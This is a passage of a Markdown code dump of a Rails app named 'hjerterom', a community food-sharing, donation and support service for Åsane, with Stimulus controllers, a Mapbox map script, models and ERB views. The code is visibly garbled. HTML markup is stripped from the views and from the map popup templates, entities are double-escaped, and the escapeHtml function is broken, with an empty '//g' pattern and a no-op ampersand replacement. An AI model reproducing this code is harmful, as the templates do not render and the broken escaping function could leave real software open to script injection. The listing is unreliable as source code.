nav.classList.add(\"nav-visible\");\n    else if (dy &lt; -40) nav.classList.remove(\"nav-visible\");\n  }, { passive: true });\n});\n```\n\n## `rails/hjerterom/app/javascript/controllers/animated_number_controller.js`\n```javascript\nimport AnimatedNumber from \"@stimulus-components/animated-number\"\nexport default class extends AnimatedNumber {}\n```\n\n## `rails/hjerterom/app/javascript/controllers/application.js`\n```javascript\nimport { Application } from \"@hotwired/stimulus\"\n\nconst application = Application.start()\n\n// Configure Stimulus development experience\napplication.debug = false\nwindow.Stimulus   = application\n\nexport { application }\n```\n\n## `rails/hjerterom/app/javascript/controllers/application_controller.js`\n```javascript\nimport { Controller } from \"@hotwired/stimulus\"\nimport StimulusReflex from \"stimulus_reflex\"\n\nexport default class extends Controller {\n  connect() {\n    StimulusReflex.register(this)\n  }\n}\n```\n\n## `rails/hjerterom/app/javascript/controllers/auto_submit_controller.js`\n```javascript\nimport AutoSubmit from \"@stimulus-components/auto-submit\"\nexport default class extends AutoSubmit {}\n```\n\n## `rails/hjerterom/app/javascript/controllers/character_counter_controller.js`\n```javascript\nimport CharacterCounter from \"@stimulus-components/character-counter\"\nexport default class extends CharacterCounter {}\n```\n\n## `rails/hjerterom/app/javascript/controllers/clipboard_controller.js`\n```javascript\nimport Clipboard from \"@stimulus-components/clipboard\"\nexport default class extends Clipboard {}\n```\n\n## `rails/hjerterom/app/javascript/controllers/dialog_controller.js`\n```javascript\nimport Dialog from \"@stimulus-components/dialog\"\nexport default class extends Dialog {}\n```\n\n## `rails/hjerterom/app/javascript/controllers/dropdown_controller.js`\n```javascript\nimport Dropdown from \"@stimulus-components/dropdown\"\nexport default class extends Dropdown {}\n```\n\n## `rails/hjerterom/app/javascript/controllers/hello_controller.js`\n```javascript\nimport { Controller } from \"@hotwired/stimulus\"\n\nexport default class extends Controller {\n  connect() {\n    this.element.textContent = \"Hello World!\"\n  }\n}\n```\n\n## `rails/hjerterom/app/javascript/controllers/index.js`\n```javascript\nimport { application } from \"controllers/application\"\nimport { eagerLoadControllersFrom } from \"@hotwired/stimulus-loading\"\nimport StimulusReflex from \"stimulus_reflex\"\nimport ApplicationController from \"controllers/application_controller\"\n\neagerLoadControllersFrom(\"controllers\", application)\n\nStimulusReflex.initialize(application, { applicationController: ApplicationController, isolate: true })\n```\n\n## `rails/hjerterom/app/javascript/controllers/notification_controller.js`\n```javascript\nimport Notification from \"@stimulus-components/notification\"\nexport default class extends Notification {}\n```\n\n## `rails/hjerterom/app/javascript/controllers/sortable_controller.js`\n```javascript\nimport Sortable from \"@stimulus-components/sortable\"\nexport default class extends Sortable {}\n```\n\n## `rails/hjerterom/app/javascript/controllers/textarea_autogrow_controller.js`\n```javascript\nimport { Controller } from \"@hotwired/stimulus\"\n\nexport default class extends Controller {\n  connect() {\n    this.resize()\n    this.element.addEventListener(\"input\", this.resize)\n  }\n\n  disconnect() {\n    this.element.removeEventListener(\"input\", this.resize)\n  }\n\n  resize = () =&gt; {\n    this.element.style.height = \"auto\"\n    this.element.style.height = `${this.element.scrollHeight}px`\n  }\n}\n```\n\n## `rails/hjerterom/app/javascript/controllers/timeago_controller.js`\n```javascript\nimport TimeAgo from \"@stimulus-components/timeago\"\nexport default class extends TimeAgo {}\n```\n\n## `rails/hjerterom/app/javascript/hjerterom_map.js`\n```javascript\nfunction escapeHtml(value) {\n  return String(value || \"\")\n    .replace(/&amp;/g, \"&amp;\")\n    .replace(//g, \"&gt;\")\n    .replace(/\"/g, \"&quot;\");\n}\n\nfunction parsePoints(raw) {\n  try {\n    const points = JSON.parse(raw || \"[]\");\n    return Array.isArray(points) ? points : [];\n  } catch (_error) {\n    return [];\n  }\n}\n\nfunction logoClone(className) {\n  const template = document.getElementById(\"hjerterom-logo-template\");\n  const wrap = document.createElement(\"span\");\n  wrap.className = className;\n\n  if (!template) return wrap;\n\n  const logo = template.content.firstElementChild?.cloneNode(true);\n  if (logo) wrap.appendChild(logo);\n  return wrap;\n}\n\nfunction heartMarker(point) {\n  const wrap = document.createElement(\"a\");\n  wrap.href = point.url || \"#\";\n  wrap.className = `hjerterom-heart-marker hjerterom-heart-marker--${point.type || \"resource\"}`;\n  wrap.setAttribute(\"aria-label\", point.title || \"Hjerterom punkt\");\n  wrap.appendChild(logoClone(\"hjerterom-heart-marker__logo\"));\n  return wrap;\n}\n\nfunction popupHtml(point) {\n  return `\n    \n\n      ${escapeHtml(point.title)}\n      \n${escapeHtml(point.subtitle || \"\u00c5sane\")}\n      \u00c5pne\n    \n  `;\n}\n\nfunction fallbackMap(root, points) {\n  const canvas = root.querySelector(\"#hjerterom-map\");\n  if (!canvas) return;\n  canvas.innerHTML = \"\";\n  canvas.classList.add(\"map-home__fallback\");\n\n  const logo = logoClone(\"hjerterom-heart-logo\");\n\n  const list = document.createElement(\"div\");\n  list.className = \"map-home__fallback-list\";\n  list.innerHTML = points.map(point =&gt; `\n    \n      ${point.type === \"food\" ? \"Mat\" : \"Ressurs\"}\n      ${escapeHtml(point.title)}\n      ${escapeHtml(point.subtitle || \"\u00c5sane\")}\n    \n  `).join(\"\") || \"\nIngen kartpunkter enn\u00e5.\";\n\n  canvas.append(logo, list);\n}\n\nfunction initMapbox(root, points, token) {\n  const canvas = root.querySelector(\"#hjerterom-map\");\n  if (!canvas || !window.mapboxgl || !token) return false;\n\n  window.mapboxgl.accessToken = token;\n  const map = new window.mapboxgl.Map({\n    container: canvas,\n    style: \"mapbox://styles/mapbox/standard\",\n    center: [5.3256, 60.4669],\n    zoom: 11.7,\n    pitch: 56,\n    bearing: -18,\n    antialias: true\n  });\n\n  map.addControl(new window.mapboxgl.NavigationControl({ visualizePitch: true }), \"bottom-right\");\n  map.addControl(new window.mapboxgl.GeolocateControl({\n    positionOptions: { enableHighAccuracy: true },\n    trackUserLocation: true,\n    showUserHeading: true\n  }), \"bottom-right\");\n\n  points.forEach(point =&gt; {\n    const marker = heartMarker(point);\n    new window.mapboxgl.Marker({ element: marker, anchor: \"bottom\" })\n      .setLngLat([Number(point.lng), Number(point.lat)])\n      .setPopup(new window.mapboxgl.Popup({ offset: 28 }).setHTML(popupHtml(point)))\n      .addTo(map);\n  });\n\n  return true;\n}\n\nfunction bootHjerteromMap() {\n  const root = document.querySelector(\".map-home\");\n  if (!root) return;\n\n  const points = parsePoints(root.dataset.mapPoints);\n  const token = root.dataset.mapboxToken;\n  if (!initMapbox(root, points, token)) fallbackMap(root, points);\n}\n\ndocument.addEventListener(\"turbo:load\", bootHjerteromMap);\ndocument.addEventListener(\"DOMContentLoaded\", bootHjerteromMap);\n```\n\n## `rails/hjerterom/app/models/beneficiary.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Beneficiary &lt; ApplicationRecord\n  has_many :boxes, dependent: :nullify\n\n  validates :name, presence: true\n\n  scope :active, -&gt; { where(active: true) }\n  scope :priority_first, -&gt; { order(priority: :desc, updated_at: :asc) }\n\n  def household_label\n    people = household_size.to_i.positive? ? \"#{household_size} people\" : \"household size unknown\"\n    [name, people, area.presence].compact.join(\" \u00b7 \")\n  end\nend\n```\n\n## `rails/hjerterom/app/models/box.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Box &lt; ApplicationRecord\n  enum :status, { planning: 0, packing: 1, ready: 2, delivered: 3, cancelled: 4 }, default: :planning\n\n  belongs_to :beneficiary, optional: true\n  has_many :food_items, dependent: :nullify\n\n  validates :week_start, presence: true\n\n  scope :current, -&gt; { where(week_start: Date.current.beginning_of_week) }\n  scope :open, -&gt; { where(status: %i[planning packing ready]) }\n\n  after_create_commit { broadcast_append_later_to \"hjerterom:boxes\" }\n  after_update_commit { broadcast_replace_later_to \"hjerterom:boxes\" }\nend\n```\n\n## `rails/hjerterom/app/models/category.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Category &lt; ApplicationRecord\n  has_many :resources, dependent: :nullify\n  has_many :posts, dependent: :nullify\n\n  TYPES = %w[mental_health food housing legal community other].freeze\n\n  validates :name, :slug, presence: true\n  validates :slug, uniqueness: true\n  validates :type_of, inclusion: { in: TYPES }, allow_nil: true\n\n  scope :of_type, -&gt;(t) { where(type_of: t) }\nend\n```\n\n## `rails/hjerterom/app/models/comment.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Comment &lt; ApplicationRecord\n  belongs_to :user\n  belongs_to :post\n  belongs_to :parent, class_name: \"Comment\", optional: true\n  has_many :replies, class_name: \"Comment\", foreign_key: :parent_id, dependent: :destroy\n\n  validates :content, presence: true, length: { maximum: 3000 }\n\n  scope :roots, -&gt; { where(parent_id: nil).order(created_at: :asc) }\n\n  after_create_commit -&gt; { broadcast_append_to [post, \"comments\"] }\n\n  def display_author\n    anonymous? ? \"Anonym\" : user.email_address.split(\"@\").first\n  end\nend\n```\n\n## `rails/hjerterom/app/models/crisis.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Crisis &lt; ApplicationRecord\n  validates :title, :phone, presence: true\n\n  scope :around_clock, -&gt; { where(available_24h: true) }\n  scope :for_country,  -&gt;(c) { where(country: c) }\nend\n```\n\n## `rails/hjerterom/app/models/current.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Current &lt; ActiveSupport::CurrentAttributes\n  attribute :session\n  delegate :user, to: :session, allow_nil: true\nend\n```\n\n## `rails/hjerterom/app/models/donation.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Donation &lt; ApplicationRecord\n  enum :status, { pending: 0, accepted: 1, packed: 2, distributed: 3, cancelled: 4 }, default: :pending\n\n  belongs_to :donor, optional: true\n  has_many :food_items, dependent: :destroy\n\n  validates :source_name, presence: true\n  validates :pickup_window, presence: true, allow_blank: true\n\n  scope :active, -&gt; { where.not(status: :cancelled) }\n  scope :needs_action, -&gt; { where(status: %i[pending accepted]) }\n\n  after_create_commit { broadcast_prepend_later_to \"hjerterom:donations\" }\n  after_update_commit { broadcast_replace_later_to \"hjerterom:donations\" }\nend\n```\n\n## `rails/hjerterom/app/models/donor.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Donor &lt; ApplicationRecord\n  has_many :donations, dependent: :nullify\n\n  validates :name, presence: true\n  validates :email, format: { with: URI::MailTo::EMAIL_REGEXP }, allow_blank: true\n\n  scope :active, -&gt; { where(active: true) }\n\n  def contact_label\n    [name, email.presence, phone.presence].compact.join(\" \u00b7 \")\n  end\nend\n```\n\n## `rails/hjerterom/app/models/food_item.rb`\n```ruby\n# frozen_string_literal: true\n\nclass FoodItem &lt; ApplicationRecord\n  enum :category, { dry_goods: 0, fresh: 1, frozen: 2, hygiene: 3, clothing: 4, books: 5, other: 6 }, default: :other\n  enum :quality_state, { usable: 0, urgent: 1, unusable: 2 }, default: :usable\n\n  belongs_to :donation\n  belongs_to :box, optional: true\n\n  validates :name, presence: true\n  validates :quantity, numericality: { greater_than: 0 }, allow_nil: true\n\n  scope :available, -&gt; { where(box_id: nil).where.not(quality_state: :unusable) }\n  scope :urgent, -&gt; { where(quality_state: :urgent) }\nend\n```\n\n## `rails/hjerterom/app/models/food_listing.rb`\n```ruby\n# frozen_string_literal: true\n\nclass FoodListing &lt; ApplicationRecord\n  belongs_to :user\n  has_many :food_requests, dependent: :destroy\n\n  STATUSES = %w[available reserved taken expired].freeze\n  UNITS    = %w[kg portions bags boxes items].freeze\n\n  validates :title, :quantity, :available_until, presence: true\n  validates :quantity, numericality: { greater_than: 0 }\n  validates :status, inclusion: { in: STATUSES }\n  validates :unit, inclusion: { in: UNITS }\n\n  attribute :status, :string, default: \"available\"\n\n  geocoded_by :pickup_address\n  after_validation :geocode, if: :pickup_address_changed?\n\n  scope :available, -&gt; { where(status: \"available\").where(\"available_until &gt; ?\", Time.current) }\n  scope :nearby, -&gt;(lat, lng, km = 20) {\n    where(\"((latitude - ?) * (latitude - ?) + (longitude - ?) * (longitude - ?)) &lt; ?\",\n      lat, lat, lng, lng, (km / 111.0)**2)\n  }\n\n  before_save :expire_if_past_date\n\n  private\n\n  def expire_if_past_date\n    self.status = \"expired\" if available_until &lt; Time.current &amp;&amp; status == \"available\"\n  end\nend\n```\n\n## `rails/hjerterom/app/models/food_request.rb`\n```ruby\n# frozen_string_literal: true\n\nclass FoodRequest &lt; ApplicationRecord\n  belongs_to :food_listing\n  belongs_to :user\n\n  STATUSES = %w[pending accepted declined picked_up cancelled].freeze\n\n  validates :status, inclusion: { in: STATUSES }\n  validates :message, length: { maximum: 1000 }, allow_blank: true\n\n  attribute :status, :string, default: \"pending\"\n\n  after_create_commit -&gt; { broadcast_prepend_to [food_listing, \"requests\"] }\n\n  scope :pending,  -&gt; { where(status: \"pending\") }\n  scope :accepted, -&gt; { where(status: \"accepted\") }\nend\n```\n\n## `rails/hjerterom/app/models/post.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Post &lt; ApplicationRecord\n  include ActionText::RichText\n\n  belongs_to :user\n  belongs_to :category\n  has_rich_text :body\n  has_many :comments, dependent: :destroy\n\n  validates :title, presence: true, length: { maximum: 200 }\n\n  scope :pinned,  -&gt; { where(pinned: true) }\n  scope :recent,  -&gt; { order(created_at: :desc) }\n\n  def display_author\n    anonymous? ? \"Anonym\" : user.email_address.split(\"@\").first\n  end\nend\n```\n\n## `rails/hjerterom/app/models/resource.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Resource &lt; ApplicationRecord\n  belongs_to :user\n  belongs_to :category\n\n  RESOURCE_TYPES = %w[crisis_line support_group therapist hotline community_center other].freeze\n\n  validates :title, presence: true\n  validates :resource_type, inclusion: { in: RESOURCE_TYPES }\n\n  geocoded_by :address\n  after_validation :geocode, if: :address_changed?\n\n  scope :verified,   -&gt; { where(verified: true) }\n  scope :nearby,     -&gt;(lat, lng, km = 50) {\n    where(\"((latitude - ?) * (latitude - ?) + (longitude - ?) * (longitude - ?)) &lt; ?\",\n      lat, lat, lng, lng, (km / 111.0)**2)\n  }\n  scope :by_type,    -&gt;(t) { where(resource_type: t) }\nend\n```\n\n## `rails/hjerterom/app/models/session.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Session &lt; ApplicationRecord\n  belongs_to :user\nend\n```\n\n## `rails/hjerterom/app/models/shift.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Shift &lt; ApplicationRecord\n  enum :kind, { intake: 0, packing: 1, transport: 2, coordination: 3 }, default: :packing\n  enum :state, { open: 0, assigned: 1, completed: 2, cancelled: 3 }, default: :open\n\n  belongs_to :volunteer, optional: true\n\n  validates :starts_at, presence: true\n  validates :ends_at, presence: true\n  validate :valid_time_range\n\n  scope :future, -&gt; { where(\"starts_at &gt;= ?\", Time.current).order(:starts_at) }\n\n  after_create_commit { broadcast_append_later_to \"hjerterom:shifts\" }\n  after_update_commit { broadcast_replace_later_to \"hjerterom:shifts\" }\n\n  private\n\n  def valid_time_range\n    return if starts_at.blank? || ends_at.blank? || ends_at &gt; starts_at\n\n    errors.add(:ends_at, \"must be later than starts_at\")\n  end\nend\n```\n\n## `rails/hjerterom/app/models/support_request.rb`\n```ruby\n# frozen_string_literal: true\n\nclass SupportRequest &lt; ApplicationRecord\n  belongs_to :user\n\n  STATUSES   = %w[open in_progress resolved closed].freeze\n  PRIORITIES = %w[low normal high urgent].freeze\n\n  validates :subject, presence: true, length: { maximum: 200 }\n  validates :status, inclusion: { in: STATUSES }\n  validates :priority, inclusion: { in: PRIORITIES }\n\n  attribute :status,   :string, default: \"open\"\n  attribute :priority, :string, default: \"normal\"\n\n  scope :open,    -&gt; { where(status: %w[open in_progress]) }\n  scope :urgent,  -&gt; { where(priority: \"urgent\") }\nend\n```\n\n## `rails/hjerterom/app/models/user.rb`\n```ruby\n# frozen_string_literal: true\n\nclass User &lt; ApplicationRecord\n  has_secure_password\n  has_many :sessions, dependent: :destroy\n  has_many :resources, dependent: :nullify\n  has_many :posts, dependent: :nullify\n  has_many :comments, dependent: :nullify\n  has_many :food_listings, dependent: :nullify\n  has_many :food_requests, dependent: :destroy\n  has_many :support_requests, dependent: :destroy\n\n  normalizes :email_address, with: -&gt;(e) { e.strip.downcase }\nend\n```\n\n## `rails/hjerterom/app/models/volunteer.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Volunteer &lt; ApplicationRecord\n  has_many :shifts, dependent: :destroy\n\n  validates :name, presence: true\n  validates :email, format: { with: URI::MailTo::EMAIL_REGEXP }, allow_blank: true\n\n  scope :available, -&gt; { where(active: true) }\n\n  after_create_commit { broadcast_append_later_to \"hjerterom:volunteers\" }\nend\n```\n\n## `rails/hjerterom/app/reflexes/application_reflex.rb`\n```ruby\n# frozen_string_literal: true\n\nclass ApplicationReflex &lt; StimulusReflex::Reflex\nend\n```\n\n## `rails/hjerterom/app/views/boxes/_box.html.erb`\n```erb\n\n\n  \n&lt;%= link_to box.week_start, box %&gt;\n  \nStatus: &lt;%= box.status.humanize %&gt;\n  &lt;% if box.beneficiary_id.present? %&gt;\n    \nBeneficiary: #&lt;%= box.beneficiary_id %&gt;\n  &lt;% end %&gt;\n  &lt;% if box.notes.present? %&gt;\n    \n&lt;%= box.notes %&gt;\n  &lt;% end %&gt;\n\n```\n\n## `rails/hjerterom/app/views/boxes/_form.html.erb`\n```erb\n&lt;%= form_with model: box do |form| %&gt;\n  &lt;% if box.errors.any? %&gt;\n    \n&lt;%= box.errors.full_messages.to_sentence %&gt;\n  &lt;% end %&gt;\n\n  \n\n    &lt;%= form.label :week_start %&gt;\n    &lt;%= form.date_field :week_start, required: true %&gt;\n  \n\n  \n\n    &lt;%= form.label :status %&gt;\n    &lt;%= form.select :status, Box.statuses.keys.map { |status| [status.humanize, status] } %&gt;\n  \n\n  \n\n    &lt;%= form.label :beneficiary_id %&gt;\n    &lt;%= form.number_field :beneficiary_id %&gt;\n  \n\n  \n\n    &lt;%= form.label :notes %&gt;\n    &lt;%= form.text_area :notes, rows: 4 %&gt;\n  \n\n  &lt;%= form.submit class: \"btn btn-primary\" %&gt;\n&lt;% end %&gt;\n```\n\n## `rails/hjerterom/app/views/boxes/create.turbo_stream.erb`\n```erb\n&lt;%= turbo_stream.append \"boxes\", partial: \"boxes/box\", locals: { box: @box } %&gt;\n```\n\n## `rails/hjerterom/app/views/boxes/edit.html.erb`\n```erb\n&lt;% content_for :title, \"Edit box #{@box.week_start}\" %&gt;\n\n\n\n  \n\n    \nSupport box\n    \nEdit box\n  \n  &lt;%= link_to \"Back to box\", @box, class: \"btn btn-ghost\" %&gt;\n\n\n&lt;%= render \"form\", box: @box %&gt;\n```\n\n## `rails/hjerterom/app/views/boxes/index.html.erb`\n```erb\n&lt;% content_for :title, \"Boxes\" %&gt;\n\n\n\n  \n\n    \nWeekly support boxes\n    \nBoxes\n  \n  &lt;%= link_to \"New box\", new_box_path, class: \"btn btn-primary\" %&gt;\n\n\n&lt;% if @boxes.any? %&gt;\n  &lt;%= turbo_stream_from \"hjerterom:boxes\" %&gt;\n  \n\n    &lt;%= render @boxes %&gt;\n  \n&lt;% else %&gt;\n  \n\nNo boxes planned.\n&lt;% end %&gt;\n```\n\n## `rails/hjerterom/app/views/boxes/new.html.erb`\n```erb\n&lt;% content_for :title, \"New box\" %&gt;\n\n\n\n  \n\n    \nWeekly support box\n    \nNew box\n  \n  &lt;%= link_to \"All boxes\", boxes_path, class: \"btn btn-ghost\" %&gt;\n\n\n&lt;%= render \"form\", box: @box %&gt;\n```\n\n## `rails/hjerterom/app/views/boxes/show.html.erb`\n```erb\n&lt;% content_for :title, \"Box #{@box.week_start}\" %&gt;\n\n\n\n  \n\n    \nSupport box\n    \nBox &lt;%= @box.week_start %&gt;\n  \n  &lt;%= link_to \"All boxes\", boxes_path, class: \"btn btn-ghost\" %&gt;\n\n\n&lt;%= render @box %&gt;\n\n&lt;%= render \"form\", box: @box %&gt;\n```\n\n## `rails/hjerterom/app/views/boxes/update.turbo_stream.erb`\n```erb\n&lt;%= turbo_stream.replace dom_id(@box), partial: \"boxes/box\", locals: { box: @box } %&gt;\n```\n\n## `rails/hjerterom/app/views/community/index.html.erb`\n```erb\n&lt;% content_for :title, \"Community\" %&gt;\n\n\n  \nCommunity\n  &lt;% if authenticated? %&gt;&lt;%= link_to \"New post\", new_community_post_path %&gt;&lt;% end %&gt;\n\n\n\n  &lt;% @posts.each do |post| %&gt;\n    \n\n      &lt;%= link_to post.title, community_show_path(post) %&gt;\n      &lt;%= post.anonymous? ? \"Anonymous\" : post.user.email_address.split(\"@\").first %&gt;\n    \n  &lt;% end %&gt;\n\n```\n\n## `rails/hjerterom/app/views/community/new.html.erb`\n```erb\n&lt;% content_for :title, \"New post\" %&gt;\n\nNew post\n&lt;%= form_with url: community_path do |f| %&gt;\n  \n&lt;%= f.label :title %&gt;&lt;%= f.text_field :title, name: \"post[title]\", autofocus: true %&gt;\n  \n&lt;%= f.label :body %&gt;&lt;%= f.rich_text_area :body, name: \"post[body]\" %&gt;\n  \n\n    &lt;%= label_tag :anonymous, \"Post anonymously\" %&gt;\n    &lt;%= check_box_tag \"post[anonymous]\" %&gt;\n  \n  \n&lt;%= f.submit \"Post\" %&gt; &lt;%= link_to \"Cancel\", community_path %&gt;\n&lt;% end %&gt;\n```\n\n## `rails/hjerterom/app/views/community/show.html.erb`\n```erb\n&lt;% content_for :title, @post.title %&gt;\n\n\n  \n&lt;%= @post.title %&gt;\n  &lt;%= @post.anonymous? ? \"Anonymous\" : @post.user.email_address.split(\"@\").first %&gt;\n  &lt;%= @post.body %&gt;\n\n\n\n  \nComments\n  &lt;%= render @comments %&gt;\n  &lt;% if authenticated? %&gt;\n    &lt;%= form_with url: community_comments_path do |f| %&gt;\n      &lt;%= f.hidden_field :post_id, value: @post.id %&gt;\n      \n&lt;%= f.text_area :content, rows: 3, placeholder: \"Comment\u2026\" %&gt;\n      \n&lt;%= f.submit \"Comment\" %&gt;\n    &lt;% end %&gt;\n  &lt;% end %&gt;\n\n```\n\n## `rails/hjerterom/app/views/donations/_form.html.erb`\n```erb\n&lt;%= form_with model: donation do |form| %&gt;\n  &lt;% if donation.errors.any? %&gt;\n    \n&lt;%= donation.errors.full_messages.to_sentence %&gt;\n  &lt;% end %&gt;\n\n  \n\n    &lt;%= form.label :source_name %&gt;\n    &lt;%= form.text_field :source_name, required: true %&gt;\n  \n\n  \n\n    &lt;%= form.label :pickup_window %&gt;\n    &lt;%= form.text_field :pickup_window %&gt;\n  \n\n  \n\n    &lt;%= form.label :status %&gt;\n    &lt;%= form.select :status, Donation.statuses.keys.map { |status| [status.humanize, status] } %&gt;\n  \n\n  \n\n    &lt;%= form.label :notes %&gt;\n    &lt;%= form.text_area :notes, rows: 4 %&gt;\n  \n\n  &lt;%= form.submit class: \"btn btn-primary\" %&gt;\n&lt;% end %&gt;\n```\n\n## `rails/hjerterom/app/views/donations/edit.html.erb`\n```erb\n&lt;% content_for :title, \"Edit #{@donation.source_name}\" %&gt;\n\n\n\n  \n\n    \nDonation intake\n    \nEdit donation\n  \n  &lt;%= link_to \"Back to donation\", @donation, class: \"btn btn-ghost\" %&gt;\n\n\n&lt;%= render \"form\", donation: @donation %&gt;\n```\n\n## `rails/hjerterom/app/views/donations/index.html.erb`\n```erb\n&lt;% content_for :title, \"Donations\" %&gt;\n\n\n\n  \n\n    \nHjerterom intake\n    \nDonations\n  \n  &lt;%= link_to \"New donation\", new_donation_path, class: \"btn btn-primary\" %&gt;\n\n\n&lt;% if @donations.any? %&gt;\n  &lt;%= turbo_stream_from \"hjerterom:donations\" %&gt;\n  \n\n    &lt;% @donations.each do |donation| %&gt;\n      \n\n        \n&lt;%= link_to donation.source_name, donation %&gt;\n        \n&lt;%= donation.status.humanize %&gt;&lt;% if donation.pickup_window.present? %&gt; \u00b7 &lt;%= donation.pickup_window %&gt;&lt;% end %&gt;\n        &lt;% if donation.notes.present? %&gt;\n&lt;%= donation.notes %&gt;&lt;% end %&gt;\n      \n    &lt;% end %&gt;\n  \n&lt;% else %&gt;\n  \n\nNo donations yet.\n&lt;% end %&gt;\n```\n\n## `rails/hjerterom/app/views/donations/new.html.erb`\n```erb\n&lt;% content_for :title, \"New donation\" %&gt;\n\n\n\n  \n\n    \nDonation intake\n    \nNew donation\n  \n  &lt;%= link_to \"All donations\", donations_path, class: \"btn btn-ghost\" %&gt;\n\n\n&lt;%= render \"form\", donation: @donation %&gt;\n```\n\n## `rails/hjerterom/app/views/donations/show.html.erb`\n```erb\n&lt;% content_for :title, @donation.source_name %&gt;\n\n\n\n  \n\n    \nDonation\n    \n&lt;%= @donation.source_name %&gt;\n  \n  &lt;%= link_to \"All donations\", donations_path, class: \"btn btn-ghost\" %&gt;\n\n\n\n\n  \nStatus: &lt;%= @donation.status.humanize %&gt;\n  \nPickup: &lt;%= @donation.pickup_window.presence || \"Not set\" %&gt;\n  &lt;% if @donation.notes.present? %&gt;\n    \n&lt;%= @donation.notes %&gt;\n  &lt;% end %&gt;\n\n\n&lt;%= render \"form\", donation: @donation %&gt;\n```\n\n## `rails/hjerterom/app/views/food_listings/_form.html.erb`\n```erb\n&lt;%= form_with model: listing, url: listing.new_record? ? food_listings_path : food_listing_path(listing) do |f| %&gt;\n  &lt;%= render \"shared/errors\", object: listing %&gt;\n  \n&lt;%= f.label :title %&gt;&lt;%= f.text_field :title, autofocus: true %&gt;\n  \n&lt;%= f.label :description %&gt;&lt;%= f.text_area :description, rows: 2 %&gt;\n  \n&lt;%= f.label :quantity %&gt;&lt;%= f.number_field :quantity, min: 1 %&gt;\n  \n&lt;%= f.label :unit %&gt;&lt;%= f.text_field :unit, placeholder: \"kg, portions, bags\u2026\" %&gt;\n  \n&lt;%= f.label :pickup_address %&gt;&lt;%= f.text_field :pickup_address %&gt;\n  \n&lt;%= f.label :city %&gt;&lt;%= f.text_field :city %&gt;\n  \n&lt;%= f.label :available_from %&gt;&lt;%= f.datetime_local_field :available_from %&gt;\n  \n&lt;%= f.label :available_until %&gt;&lt;%= f.datetime_local_field :available_until %&gt;\n  \n&lt;%= f.label :dietary_info %&gt;&lt;%= f.text_field :dietary_info, placeholder: \"vegan, nut-free\u2026\" %&gt;\n  \n&lt;%= f.submit %&gt; &lt;%= link_to \"Cancel\", food_listings_path %&gt;\n&lt;% end %&gt;\n```\n\n## `rails/hjerterom/app/views/food_listings/edit.html.erb`\n```erb\n&lt;% content_for :title, \"Edit listing\" %&gt;\n\nEdit listing\n&lt;%= render \"form\", listing: @listing %&gt;\n```\n\n## `rails/hjerterom/app/views/food_listings/index.html.erb`\n```erb\n&lt;% content_for :title, \"Food\" %&gt;\n\n\n  \nAvailable food\n  &lt;% if authenticated? %&gt;&lt;%= link_to \"List food\", new_food_listing_path %&gt;&lt;% end %&gt;\n\n\n\n  &lt;% @food_listings.each do |listing| %&gt;\n    \n\n      &lt;%= link_to listing.title, food_listing_path(listing) %&gt;\n      \n&lt;%= listing.quantity %&gt; &lt;%= listing.unit %&gt; \u00b7 &lt;%= listing.city %&gt;\n      \nUntil &lt;%= listing.available_until&amp;.strftime(\"%b %-d, %H:%M\") %&gt;\n      &lt;% if listing.dietary_info.present? %&gt;\n        &lt;%= listing.dietary_info %&gt;\n      &lt;% end %&gt;\n    \n  &lt;% end %&gt;\n\n&lt;%= @pagy.series_nav if @pagy.pages &gt; 1 %&gt;\n```\n\n## `rails/hjerterom/app/views/food_listings/new.html.erb`\n```erb\n&lt;% content_for :title, \"List food\" %&gt;\n\nList food\n&lt;%= render \"form\", listing: @listing %&gt;\n```\n\n## `rails/hjerterom/app/views/food_listings/show.html.erb`\n```erb\n&lt;% content_for :title, @listing.title %&gt;\n\n\n  \n&lt;%= @listing.title %&gt;\n  \n&lt;%= @listing.description %&gt;\n  \n\n    \nQuantity\n&lt;%= @listing.quantity %&gt; &lt;%= @listing.unit %&gt;\n    \nPickup\n&lt;%= @listing.pickup_address %&gt;, &lt;%= @listing.city %&gt;\n    \nAvailable\n&lt;%= @listing.available_from&amp;.strftime(\"%b %-d, %H:%M\") %&gt; \u2013 &lt;%= @listing.available_until&amp;.strftime(\"%b %-d, %H:%M\") %&gt;\n    &lt;% if @listing.dietary_info.present? %&gt;\nDietary\n&lt;%= @listing.dietary_info %&gt;&lt;% end %&gt;\n  \n  &lt;% if authenticated? &amp;&amp; @listing.user != Current.user &amp;&amp; @listing.status == \"available\" %&gt;\n    &lt;%= form_with url: food_listing_food_requests_path(@listing) do |f| %&gt;\n      \n&lt;%= f.text_area :message, rows: 2, placeholder: \"Message (optional)\u2026\" %&gt;\n      \n&lt;%= f.datetime_local_field :pickup_time %&gt;\n      \n&lt;%= f.submit \"Request pickup\" %&gt;\n    &lt;% end %&gt;\n  &lt;% end %&gt;\n  &lt;% if @listing.user == Current.user %&gt;\n    &lt;%= link_to \"Edit\", edit_food_listing_path(@listing) %&gt;\n    &lt;%= button_to \"Delete\", @listing, method: :delete, data: { turbo_confirm: \"Delete?\" } %&gt;\n  &lt;% end %&gt;\n\n```\n\n## `rails/hjerterom/app/views/food_requests/update.turbo_stream.erb`\n```erb\n&lt;%= turbo_stream.replace \"food_request_#{@request.id}\", partial: \"food_listings/food_request\", locals: { request: @request } %&gt;\n```\n\n## `rails/hjerterom/app/views/home/index.html.erb`\n```erb\n&lt;% content_for :title, \"Hjerterom kart\" %&gt;\n&lt;% content_for :description, \"Fullskjerm kart over mat, ressurser og hjelp i \u00c5sane.\" %&gt;\n&lt;% if @mapbox_token.present? %&gt;\n  &lt;% content_for :head do %&gt;\n    \n    \n  &lt;% end %&gt;\n&lt;% end %&gt;\n\n\n\n  &lt;%= render \"shared/logo\" %&gt;\n  \n\n\n  &lt;%= link_to root_path, class: \"map-home__logo\", aria: { label: \"Hjerterom home\" } do %&gt;\n    &lt;%= render \"shared/logo\" %&gt;\n  &lt;% end %&gt;\n\n  \n\n    \nHjerterom \u00c5sane\n    \nFinn mat, hjelp og fellesskap rundt deg.\n    \nEt levende 